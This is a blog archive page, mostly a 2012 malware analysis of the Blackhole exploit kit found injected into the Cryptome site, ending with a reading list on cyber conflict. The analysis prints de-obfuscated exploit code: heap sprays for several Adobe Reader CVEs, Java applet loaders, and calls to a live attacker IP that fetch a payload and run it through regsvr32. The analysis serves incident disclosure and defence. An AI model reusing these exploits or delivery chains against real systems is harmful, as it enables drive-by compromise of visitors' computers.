Month: February 2012

Technical Notes: Malware Found on Cryptome

UPDATE 2012-05-21: see this comment added by Eric Gerds, author of PluginDetect. PluginDetect is legitimate software that is misappropriated by malware authors.  PluginDetect != malware.  
UPDATE 2012-02-19: by request I added the decompiled Java from obe.jar/rin.jar, see inline links.

UPDATE 2012-02-16: Cryptome links to prior art from Dec 12th 2011. It has visuals and more elaborate explanations. Good stuff!

UPDATE 2012-02-15:
I added section “Obfuscation”.

On February 12th 2012, Cryptome disclosed that between February 8th-12th 2012 it had been temporarily infected by what appears to be Blackhole Toolkit Website 12. I manually de-obfuscated and commented the stuff loaded by this de-obfuscated malicious Javascript that is included by afg.php that is included by each of 1000s of .htm files on Cryptome. These are my technical notes. The shellcodes in variables bjsg, _l1 and _l2 still need to be analyzed. I will update this post when I complete that.

1. Analysis of behavior

/* —- check whether browser = MSIE6/7/8 & IP in range; if yes, include via IFRAME http://65.75.137.243/Home/index.php <— ONE-TIME disclosure of malicious Javascript per IP address. Second etc. request get no code. */

1) check versions of Java, Adobe Reader, Flash
(….)
    PluginDetect.initScript();
    PluginDetect.getVersion(“.”);
    jver = PluginDetect.getVersion(“Java”, “./getJavaInfo.jar”);
    pdfver = PluginDetect.getVersion(“AdobeReader”);
    flashver = PluginDetect.getVersion(‘Flash’);
(…)

/// —- based on Java version, embed applet —- ///
1a) iff Java 6.0.0-28, embed rin.jar <—- 
contents of rin.jar (not-so-gracefully) decompile to Wiki.java.
      
function spl0() {
    if (jver[1] == 6 && jver[3] <= 28) {
        var f = document.createElement(‘applet’);
        f.setAttribute(‘code’, ‘Wiki.class’);
        f.setAttribute(‘archive’, ‘./content/rin.jar’); –>
        var p = document.createElement(‘param’);
        p.setAttribute(‘name’, ‘p’);
        p.setAttribute(‘value’, ‘vssMlgg=9Po9Pd%oP35%gOFU6gYPMvM-Vcd=G6cr’); // <—– http://65.75.137.243/Home/w.php?f=16&e=0
        f.appendChild(p);
        document.body.appendChild(f);
    }
    spl1()
}

1b) iff Java < 6, embed obe.jar <— contents of obe.jar (gracefully) decompile to b.java, f.java, Plugin.java, q.java and v.java.

 –> from the Java code:
   –> iff
os.name contains “Windows”
     –>
malfile =
HTTP GET http://65.75.137.243/Home/w.php?f=16&e=1, retrieved via FileOutputStream (I get 0 bytes)
     –>
regsvr32 -s malfile  // via Object.exec(); unused parameters “df567y”, “sdg7a”

function spl1() {
    if (jver[1] < 6) {
        var f = document.createElement(‘applet’);
        f.setAttribute(‘code’, ‘chrome.Plugin.class’);
        f.setAttribute(‘archive’, ‘./content/obe.jar’); ——>  HTTP GET to http://65.75.137.243/Home/w.php?f=16&e=1  ////////////////////package chrome; if (jver[1] == 6 && jver[3] <= 28) does HTTP GET to  http://65.75.137.243/Home/w.php?f=16&e=0 // NEVER HAPPENS;
        var p = document.createElement(‘param’);
        p.setAttribute(‘name’, ‘p’);
        p.setAttribute(‘value’, ‘vssMlgg=9Po9Pd%oP35%gOFU6gYPMvM-Vcd=G6cd’); // <—– http://65.75.137.243/Home/w.php?f=16&e=1
        f.appendChild(p);
        document.body.appendChild(f);
    }
    spl2()
}

 

1c) do nothing

function spl2() {
    spl3()
}


/// —- based on Adobe Reader version, include malicious pdf via IFRAME —- /// 

1d) iff Adobe Reader 1-7
 function spl3() {
     if (pdfver[0] > 0 && pdfver[0] < 8) {
        show_pdf(‘./content/adp1.php?f=16’)

//
==================================================================================

function ezvr(ra, qy) {
    while (ra.length * 2 < qy) {
        ra += ra;
    }
    ra = ra.substring(0, qy / 2);
    return ra;
}

//———–
// EXPLOIT 1: CVE-2007-5659 –> Collab.collectEmailInfo()
// –> executed iff EScript-version is {6,7} AND appviewer-version < 7.11
// –> VERY similar code seen at e.g. http://pastebin.com/TC8hN7we (Jan 29th 2012)
//———–
function bx() {
    var dkg = new Array();
    var vw = 0x0c0c0c0c;
    var addr = 0x400000;
    var payload = unescape(bjsg); <——– SHELLCODE
    var sc_len = payload.length * 2;
    var qy = addr – (sc_len + 0x38);
    var yarsp = unescape(“%u9090%u9090”);
    yarsp = ezvr(yarsp, qy);
    var count2 = (vw – 0x400000) / addr;
    for (var count = 0; count < count2; count++) {
        dkg[count] = yarsp + payload;
    }
    var overflow = unescape(“%u0c0c%u0c0c”);
    while (overflow.length < 44952) {
        overflow += overflow;
    }
    this.collabStore = Collab.collectEmailInfo({
        subj: “”,
        msg: overflow
    });
}

//———–
// EXPLOIT 2: CVE-2008-2992 –> util.printf()
// –> executed if EScript version == 7.1
// –> very similar code seen at e.g. http://pastebin.com/ay7vx9dS (Jan 27th, 2012) and http://downloads.securityfocus.com/vulnerabilities/exploits/30035.c (Nov 6th, 2008)
//———–
function printf() {
    nop = unescape(“%u0A0A%u0A0A%u0A0A%u0A0A”);
    var payload = unescape(bjsg); <——– SHELLCODE
    heapblock = nop + payload;
    bigblock = unescape(“%u0A0A%u0A0A”);
    headersize = 20;
    spray = headersize + heapblock.length;
    while (bigblock.length < spray) {
        bigblock += bigblock;
    }
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length – spray);
    while (block.length + spray < 0x40000) {
        block = block + block + fillblock;
    }
    mem = new Array();
    for (i = 0; i < 1400; i++) {
        mem[i] = block + heapblock;
    }
    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
    util.printf(“%45000f”, num);
}

//———–
// EXPLOIT 3: CVE-2009-0927 –> Collab.getIcon
// –> executed iff EScript version == 9 OR (appviewer-version == 8 AND EScript-version <=8.12)
// –> very similar code observed e.g. at http://pastebin.com/TC8hN7we (Jan 29th 2012) and http://jsunpack.jeek.org/dec/go?report=f0ecb4de6d3ec7d1a507cf44fee4ce6f26bb9197 (Mar 3rd 2011)
//———–
function geticon() {
    var arry = new Array();
    if (app.doc.Collab.getIcon) {
        var payload = unescape(bjsg);   <——– SHELLCODE
        var hWq500CN = payload.length * 2;
        var qy = 0x400000 – (hWq500CN + 0x38);
        var yarsp = unescape(“%u9090%u9090”);
        yarsp = ezvr(yarsp, qy);
        var p5AjK65f = (0x0c0c0c0c – 0x400000) / 0x400000;
        for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
            arry[vqcQD96y] = yarsp + payload;
        }
        var tUMhNbGw = unescape(“%09”);
        while (tUMhNbGw.length < 0x4000) {
            tUMhNbGw += tUMhNbGw;
        }
        tUMhNbGw = “N.” + tUMhNbGw;
        app.doc.Collab.getIcon(tUMhNbGw); // BAM
    }
}
aPlugins = app.plugIns;
var sv = parseInt(app.viewerVersion.toString().charAt(0));
for (var i = 0; i < aPlugins.length; i++) {
    if (aPlugins[i].name == “EScript”) {
        var lv = aPlugins[i].version;
    }
}

//——–
// this version-based branching is similar to http://wepawet.cs.ucsb.edu/view.php?hash=dfe388f17445fb4c102b52e0692258ba&t=1268952889&type=js
// except that the below also includes the WEIRD branch for “(lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17)” which is ALWAYS TRUE
/——–
if ((lv == 9) || ((sv == 8) && (lv <= 8.12))) { //  geticon() exploit iff EScript-version=9 OR (EScript-version<=8.12 AND appreader-version=8)
    geticon();
} else if (lv == 7.1) { // util.printf() exploit iff EScript=7.1
    printf();
} else if (((sv == 6) || (sv == 7)) && (lv < 7.11)) { // Collab.collectEmailInfo() CVE-2007-5659 iff (EScript-version=6/7  &&  appviewer-version < 7.11)
    bx();
} else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17)) { // ALWAYS TRUE =) EScript >=9.1 of <=9.2 of >=8.13 of <=8.17
      
    //———–
    // EXPLOIT 4a CVE-2008-0015
    // –> executed multiple times, within branch for EScript-version = (> 8.12 and < 8.2)
    // –> code very similar to http://praetorianprefect.com/archives/2009/12/adobe-util-printd-zero-day/ (Dec 16th, 2009)
    //———–
    function a() {
        util.printd(“p@111111111111111111111111 : yyyy111”, new Date());
    }
    var h = app.plugIns;
    for (var f = 0; f < h.length; f++) {
        if (h[f].name == “EScript”) {
            var i = h[f].version;
        }
    }
    if ((i > 8.12) && (i < 8.2)) { // indien EScript-versie is > 8.12 en < 8.2
        c = new Array();
        var d = unescape(“%u9090%u9090”);
        var e = unescape(bjsg);  <——– SHELLCODE
        while (d.length <= 0x8000) {
            d += d;
        }
        d = d.substr(0, 0x8000 – e.length);
        for (f = 0; f < 2900; f++) {
            c[f] = d + e;
        }
        a(); // 1st run of CVE-2008-0015
        a(); // 2nd run of CVE-2008-0015
        try {
            //———–
            // EXPLOIT 4b CVE-2009-4324
            // –> see http://vrt-blog.snort.org/2009/12/adobe-reader-medianewplayer-analysis.html
            //———–
            this.media.newPlayer(null);
        } catch (e) {}
        a(); // 3rd run of CVE-2008-0015
    }
}

1e) iff Adobe Reader=8 or Adobe Reader =9.3

 
    } else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
        show_pdf(‘./content/adp2.php?f=16’)

//——-

// EXPLOIT 1 CVE-2010-0188 –> Libtiff integer overflow in Adobe Reader and Acrobat
// See http://wepawet.cs.ucsb.edu/view.php?hash=d2e2808326ad7ba4cecc2bfe40279953&t=1327335294&type=js
//——-

 var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
 

_l3 = app;
_l4 = new Array();

function _l5() {
    var _l6 = _l3.viewerVersion.toString();
    _l6 = _l6.replace(‘.’, ”);
    while (_l6.length < 4) _l6 += ‘0’;
    return parseInt(_l6, 10)
}
function _l7(_l8, _l9) {
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(0, _l9 / 2)
}
function _I0(_I1) {
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape(‘%u9090’);
    spray = _l7(dakRote, 0x2000 – roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524098);
    for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length – 1) + dakRote;
}
function _I2(_I1, len) {
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(0, len)
}
function _I3(_I1) {
    ret = ”;
    for (i = 0; i < _I1.length; i += 2) {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4) {
    _I5 = ”;
    for (_I6 = 0; _I6 < _I1.length; _I6++) {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6) {
    _j0 = _I6.toString(16);
    _j1 = _j0.length;
    _I5 = (_j1 % 2) ? ‘0’ + _j0 : _j0;
    return _I5
}
function _j2(_I1) {
    _I5 = ”;
    for (_I6 = 0; _I6 < _I1.length; _I6 += 2) {
        _I5 += ‘%u’;
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3() {
    _j4 = _l5();
    if (_j4 < 9000) {
        _j5 = ‘o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK’;
        _j6 = _l1;
        _j7 = _I3(_j6)
    } else {
        _j5 = ‘kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK’;
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = ‘SUkqADggAABB’;
    _j9 = _I2(‘QUFB’, 10984);
    _ll0 = ‘QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////’;
    _ll1 = _j8 + _j9 + _ll0 + _j5;
    _ll2 = _ji1(_j7, ”);
    if (_ll2.length % 2) _ll2 += unescape(”);
    _ll3 = _j2(_ll2);
    with({
        k: _ll3
    }) _I0(k);
    qwe123b.rawValue = _ll1
}
_j3();

//==================================================================================

    }
    spl4()
}

1f) do nothing
function spl4() {
    spl5()
}

1g) wait
function spl5() {
    setTimeout(end_redirect, 8000)
}

As stated above: the shellcodes in variables bjsg, _l1 and _l2 still need to be analyzed.

Random observation: the code refers to many different OSs and browsers. Example:

d = [“Win”, 1, “Mac”, 2, “Linux”, 3, “FreeBSD”, 4, “iPhone”, 21.1, “iPod”, 21.2, “iPad”, 21.3, “Win” + “.*CE”, 22.1, “Win.*Mobile”, 22.2, “Pockets*PC”, 22.3, “”, 100];
c.isGecko = (/Gecko/i).test(h) && 1 && (/Geckos*/s*d/i).test(i);
c.isSafari = (/Safaris*/s*d/i).test(i) && (/Apple/i).test(g);
c.isChrome = (/Chromes*/s*(d[d.]*)/i).test(i);
c.isOpera = (/Operas*[/]?s*(d+.?d*)/i).test(i);
c.isIE = new Function(“return ” + e + “*@” + “cc_on!@*” + e + “fa” + “lse”)();

2. Obfuscation
‘Obfuscation’ refers to hiding program flow and variables to make it difficult for humans and computers to understand WHAT a program does (e.g. intercept keystrokes, attack others systems, avoid detection) and HOW (e.g. SetWindowsHookEx, nmap + exploit remote vulns in Windows, rootkit techniques), including network connectivity.

Here are examples of obfuscation found in the Blackhole malware.

1) in afg.php we observe:
1a) example 1:

$dfjgkbl=base64_decode(‘aHR0cDovLzY1Ljc1LjEzNy4yNDMvSG9tZS9pbmRleC5waHA=’);
in stead of simply:
$dfjgkbl=”http://65.75.137.243/Home/index.php”;
or even more simply, using a clearly-named variable:
$url=”http://65.75.137.243/Home/index.php”;

1b) example 2:
$OOOOOO000 = “MSIE”

in stead of simply:

$browser = “MSIE”
2) in the content included from http://65.75.137.243/Home/index.php we observe
2a) example 3:

<em>58a#69a#57a#75a#67a#59a#68a#74a#4a#77a#72a#63a (….) </em>
<script>
// a) ‘decipher’ what is between <em></em>
// b) execute that as Javascript
(….)
</script>
 
in stead of simply:
<output of (a) here>

2b) example 4:
e=eval;
st=e(‘S’+’tring’);

in stead of simply:

st=eval(‘String’);

3) in the content included by the malicious Javascript in (2) we observe
3a) example 5, in Plugin.java (=decompiled version of Plugin.class inside obe.jar);

public String d = e(“h6FeWh6Feih6Fendh6Feh6Feoh6Fewh6Fesh6Fe”.split(“h6Fe”));
public static String e(String[] p1)
{ // de-obfuscate
  StringBuffer l1 = new StringBuffer(“”);
  for (int i = 0; i < p1.length; l1.append(p1[(i++)].trim()));
  return l1.toString();
}


in stead of simply:
public String d = “Windows”;


3b) example 6, in the ADP2-PDF, we observe

function test(){
    return w(s.join(”));  // <— final step of de-obfuscation
}
x=’e’;
ar={q:’0^1^2^3^4^1^5^5^ (….) }[‘q’]; // <——- obfuscated Javascript

// start of lots of small de-obfuscation steps:
cc={q:”var pding;b,cefhots_x=wAy()l1″420657839u{.VS’&lt;+I}*/DkR%-W[]mCj^?:LBKQYEUqFM”}.q;
q=x+’v’;
q+={q:’qwe’,w:’l’,’cq’:’a’}.cq;
q+={q:’qwe’,w:’l’,’cq’:’a’}.w;
a=([]+Date).&#115;ubstr(2,3);
aa=([123,412].unshift+[1,’a’][1].indexOf).substr(2,3);
if (aa==a){
e=’3vtwe’&#46;substr;
&#000119;=e(12)[q];
s=[];
ar=ar.&#115;plit(‘^’);
&#00110;=cc;
for(i=0;i-ar.length&lt;0;i++){
s[i]=n[ar[i]];
}
test();
}

instead of simply:
<output of test() here>

Selected Readings in Cyber Conflict

Last updated: 2016-02-14. Some old JFQ links are broken due to JFQ having been moved in Q1/2014; I still need to fix the links.

Below are selected publications on (military) philosophy, policy and strategy in the digital domain. The list does not include other topics. (If you’re interested in privacy/surveillance: Snowden-documents can be found at http://cryptome.org/2013/11/snowden-tally.htm, https://www.eff.org/nsa-spying/nsadocs, and the National Security Archive at GWU at http://www2.gwu.edu/~nsarchiv/NSAEBB/NSAEBB436/.)

Selected NATO CCD-CoE publications are listed at the bottom. Access CCD-CoE’s Publication Library for all available publications.

I will keep this post updated. Contact me at mrkoot[at]gmail[dot]com with your suggestions, broken links, et cetera.

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2001

  • Principles of Cyber-warfare (.pdf), Raymond C. Parks and David P. Duggan, Proceedings of the 2001 IEEE Workshop on Information Assurance and Security, United States Military Academy, West Point, NY, 5-6 June, 2001

NATO CCD-CoE

Cyber Glossaries

EOF